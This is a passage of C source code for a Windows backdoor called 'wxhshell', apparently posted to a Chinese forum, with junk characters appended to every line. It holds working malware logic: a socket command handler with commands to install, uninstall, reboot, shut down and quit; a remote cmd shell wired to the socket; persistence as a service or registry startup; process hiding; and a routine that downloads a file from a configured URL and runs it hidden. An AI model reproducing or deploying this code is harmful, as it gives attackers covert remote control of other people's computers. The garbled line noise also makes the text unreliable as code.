=fu_ Jau}  
    switch(cmd[0]) { 0^-b}  
  8 )2u@sx%  
  // 帮助 ES:p^/=*  
  case '?': { ]T28q/B;k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b^|,9en  
    break; :;gwdZ  
  } 6`{)p&9  
  // 安装 8)Bn?6.  
  case 'i': { s#8{:ko  
    if(Install()) ROI$;B(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4tN~UMw?  
    else h^3Vd K,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E '6 z7m.  
    break; | Y,X=Ed  
    } XQ?)  
  // 卸载 a6K$omu  
  case 'r': { 4QN6BZJ5  
    if(Uninstall()) C J}4V!;|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =*O9)$b  
    else 70 D Q/b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j(2tbWg9-  
    break; oU{-B$w  
    } L:];[xa%  
  // 显示 wxhshell 所在路径 hF?\K^tF  
  case 'p': { Q0oDl8~  
    char svExeFile[MAX_PATH]; ZB h@%A  
    strcpy(svExeFile,"\n\r"); DW;.R<8  
      strcat(svExeFile,ExeFile); l>Oe ,`9O  
        send(wsh,svExeFile,strlen(svExeFile),0); ;:K?7wfXn  
    break; MJk:s[o  
    } i OA3x 8J  
  // 重启 /)HEx&SQmZ  
  case 'b': { _KlPbyLU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i =+<7]Q  
    if(Boot(REBOOT)) ]&%X(jWyn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k@X As  
    else { sRI=TE]s  
    closesocket(wsh); eXtF[0f  
    ExitThread(0); L``mF(R^  
    } (5\d[||9g  
    break; tLGwF3e$A  
    } q.Aw!]:!  
  // 关机 Ymh2qGcj]8  
  case 'd': { pLFL6\{g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;@$," P  
    if(Boot(SHUTDOWN)) S}oF7;'Ga  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >!WBl Sy  
    else { 7.=s1~p  
    closesocket(wsh); gbi~!S-  
    ExitThread(0); (:hmp"S  
    } 'Rf#1ls#  
    break; pPqbD}p  
    } XT;IEZQZ  
  // 获取shell 7UnO/K7oB.  
  case 's': { v?iH}7zb%Q  
    CmdShell(wsh); vt7C  
    closesocket(wsh); :=fHPT  
    ExitThread(0); 2tTV5,(1  
    break; yvnrZ&x :  
  } Ib<+m%Ac  
  // 退出 <UHf7:0V  
  case 'x': { kT3;%D^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uTF EI.N  
    CloseIt(wsh); vVRCM  
    break; K>E!W!-PJ  
    } J};,%q_  
  // 离开 8Y kH  
  case 'q': { i7E7%~S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i}12mjF  
    closesocket(wsh); rs)aEmvC  
    WSACleanup(); xH .q  
    exit(1); X| 0`$f  
    break; {.[,ee-)9  
        } v}t :}M<;  
  } "h|0]y^2  
  } E.*OA y  
@G&xq "Fg7  
  // 提示信息 04LVa|Y@U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 15yV4wHr  
} F973U  
  } {@`Uf;hPAX  
JN|#   
  return; <{~UKi  
} ;&:Et  
n/|`Dz.  
// shell模块句柄 =Qq^=3@h  
int CmdShell(SOCKET sock) ?DTP-#5Ba  
{ h1d 0{  
STARTUPINFO si; bao5^t}  
ZeroMemory(&si,sizeof(si)); JHOBg{Wg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2:0Y'\nn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; omU)hFvyS  
PROCESS_INFORMATION ProcessInfo; 6>^k9cJp  
char cmdline[]="cmd"; m.X+sP-e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jtJ8r5j 1  
  return 0; `Y$5g~3.  
} $6+P&"8  
= nN*9HRD  
// 自身启动模式 / 1@m#ZxA:  
int StartFromService(void) mh SsOmJ5  
{ vWga>IGM  
typedef struct gDBQ\vM8  
{ nf^k3QS\  
  DWORD ExitStatus; t|,Ex7  
  DWORD PebBaseAddress; 0X6o  
  DWORD AffinityMask; qOanu  
  DWORD BasePriority; z-E4-\a  
  ULONG UniqueProcessId; Z9EQ|WfS#-  
  ULONG InheritedFromUniqueProcessId; _ o3}Ly}  
}   PROCESS_BASIC_INFORMATION; c.> (/  
XsMphZnK  
PROCNTQSIP NtQueryInformationProcess; Lu5.$b  
j ZafwBi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }J lW\#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I=-;*3g6  
73<yrBxp  
  HANDLE             hProcess; a-hGpYJJG  
  PROCESS_BASIC_INFORMATION pbi; H(m+rk  
Um|Tf]q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BGjTa.&  
  if(NULL == hInst ) return 0; |ZzBCL8q  
-JQg{A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +Enff0 =+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Bbp9Q,4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ':dHYvP/UX  
IH}L1i A)  
  if (!NtQueryInformationProcess) return 0; Ez-o*&  
fL:Fn"Nv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }e@-[RJ!  
  if(!hProcess) return 0; nJ@hzK.  
9D21e(7X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qa?y lR"kA  
gWPa8q<b  
  CloseHandle(hProcess); ' qVa/GJ  
Xqw7lj;K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1r4/McB  
if(hProcess==NULL) return 0; tYa*%|!v  
1i2O]e!  
HMODULE hMod; jgIzB1H  
char procName[255]; a06q-3zw  
unsigned long cbNeeded; %tLq&tyeY  
P ie!Su`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |0mI3r  
_J!mhU A  
  CloseHandle(hProcess); K@hUif|([  
&9{BuBO[  
if(strstr(procName,"services")) return 1; // 以服务启动 oPBjsQ  
`7ZJB$7D|*  
  return 0; // 注册表启动 '& :"/4@)  
} _\[G7  
,oil}N(  
// 主模块 /L^dHI]Q  
int StartWxhshell(LPSTR lpCmdLine) 2N]s}/l  
{ 8m0sEV>  
  SOCKET wsl; xx8na8  
BOOL val=TRUE; V|`|CVFo]  
  int port=0; YJ$ =`lIM  
  struct sockaddr_in door; kRPg^Fw"Vw  
0rUf'S ?K  
  if(wscfg.ws_autoins) Install(); @9a=D<'>  
s,x]zG"  
port=atoi(lpCmdLine); A@r,A?(  
$Plk4 o*g  
if(port<=0) port=wscfg.ws_port; !HYqM(|{.  
xcA:Q`c.{  
  WSADATA data; 4N&}hOM'S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2D"/k'iA  
q4oZJ-`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,,gYU_V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e+TNG &_  
  door.sin_family = AF_INET; t1S~~FLE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b.&YUg[#  
  door.sin_port = htons(port); {'(8<n57  
cO9Aw!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2hP8ZfvIR  
closesocket(wsl); .VT,,0  
return 1; 6np wu5!  
} a$m?if=  
79_MP  
  if(listen(wsl,2) == INVALID_SOCKET) { Viw3 /K  
closesocket(wsl); =KLYR UW  
return 1; QZol( 2~Y  
} D.?gV_  
  Wxhshell(wsl); cALs;)z  
  WSACleanup(); %s>E@[s  
/Z_QCj  
return 0; 75f.^4/%  
rf@81Ds  
} |*i-Q @ D  
WW=7QC i  
// 以NT服务方式启动 ?|\Lm3%J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h>?OWI  
{ M;R>]wP"V  
DWORD   status = 0; Tx_ LH"8  
  DWORD   specificError = 0xfffffff; 7Z_iQ1  
FBsw\P5w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sTDBK!9I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gN%R-e0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `Ec+i  
  serviceStatus.dwWin32ExitCode     = 0; MZ'HMYed   
  serviceStatus.dwServiceSpecificExitCode = 0; C'ZU .Y  
  serviceStatus.dwCheckPoint       = 0; {YFru6$  
  serviceStatus.dwWaitHint       = 0; ||f 4f3R'  
4.TG&IQ nN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \N30SG ?o  
  if (hServiceStatusHandle==0) return; ?AE%N.rnsi  
x& S>Mr  
status = GetLastError(); {$^|^n5j  
  if (status!=NO_ERROR) v]v f(]""  
{ tr Ls4o,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N<x5:f#+  
    serviceStatus.dwCheckPoint       = 0; dq2v[? *R  
    serviceStatus.dwWaitHint       = 0; c1[;a>  
    serviceStatus.dwWin32ExitCode     = status; SW7%SX,xM  
    serviceStatus.dwServiceSpecificExitCode = specificError; .kVga+la?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ) =[Tgh  
    return; 0U'r ia:$  
  } a$ }^z  
UWHC]V?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Hg4Ut/0  
  serviceStatus.dwCheckPoint       = 0; Z5Cv$bUc  
  serviceStatus.dwWaitHint       = 0; W3b\LnUa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~X/T6(n$  
} [>E0(S]  
IWkBq]Y  
// 处理NT服务事件,比如:启动、停止 })B)-8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^:BRbp37i  
{ \MU4"sXw  
switch(fdwControl) PA E)3  
{ L<: ya  
case SERVICE_CONTROL_STOP: dx^3(#B  
  serviceStatus.dwWin32ExitCode = 0; yAOC<d9 E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [ LCi,  
  serviceStatus.dwCheckPoint   = 0; m<E7cY3mX  
  serviceStatus.dwWaitHint     = 0; kHO\#fF<  
  { IX}l)t[:(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 08Q:1 '  
  } -?uwlpm#  
  return; 0*q:p`OLw*  
case SERVICE_CONTROL_PAUSE: eMs`t)rQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sb1/4u/W  
  break; HwHI$IB  
case SERVICE_CONTROL_CONTINUE: vI-KH:r"{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MmX42;Pw  
  break; U+KbvkX wj  
case SERVICE_CONTROL_INTERROGATE: MIgIt"M jz  
  break; SNQ+ XtoO  
};  m ]\L1&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  6?6 u  
} z"<PveVo  
|^ qW   
// 标准应用程序主函数 8]O|$8'"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <^=k~7m  
{ PSRGlxdO  
JOMZ&c^  
// 获取操作系统版本 KksbhN{AB  
OsIsNt=GetOsVer(); Z5\6ca  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <C&UD j  
nJ,56}  
  // 从命令行安装 Ac|`5'/Tx  
  if(strpbrk(lpCmdLine,"iI")) Install(); o` e~1  
}Eav@3h6  
  // 下载执行文件 P5N"7/PfW  
if(wscfg.ws_downexe) { DT*/2TH*l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) * 08LW|:,  
  WinExec(wscfg.ws_filenam,SW_HIDE); /F\7_  
} p'H5yg3h  
[\VzI\vb  
if(!OsIsNt) { 0xC!d-VIJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 dWI\VS9  
HideProc(); w(vf>L6(  
StartWxhshell(lpCmdLine); 9`xq3EL2T  
} 2uB.0  
else m+o>`1>a  
  if(StartFromService()) 8'zwy d3  
  // 以服务方式启动 k2xjcrg  
  StartServiceCtrlDispatcher(DispatchTable); 69_c,(M0  
else (vQShe\  
  // 普通方式启动 C. Sb4i*  
  StartWxhshell(lpCmdLine); qB8<(vBP+  
%hXa5}JL  
return 0; a(m#GES  
}
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只看该作者 1 发表于: 2006-10-10
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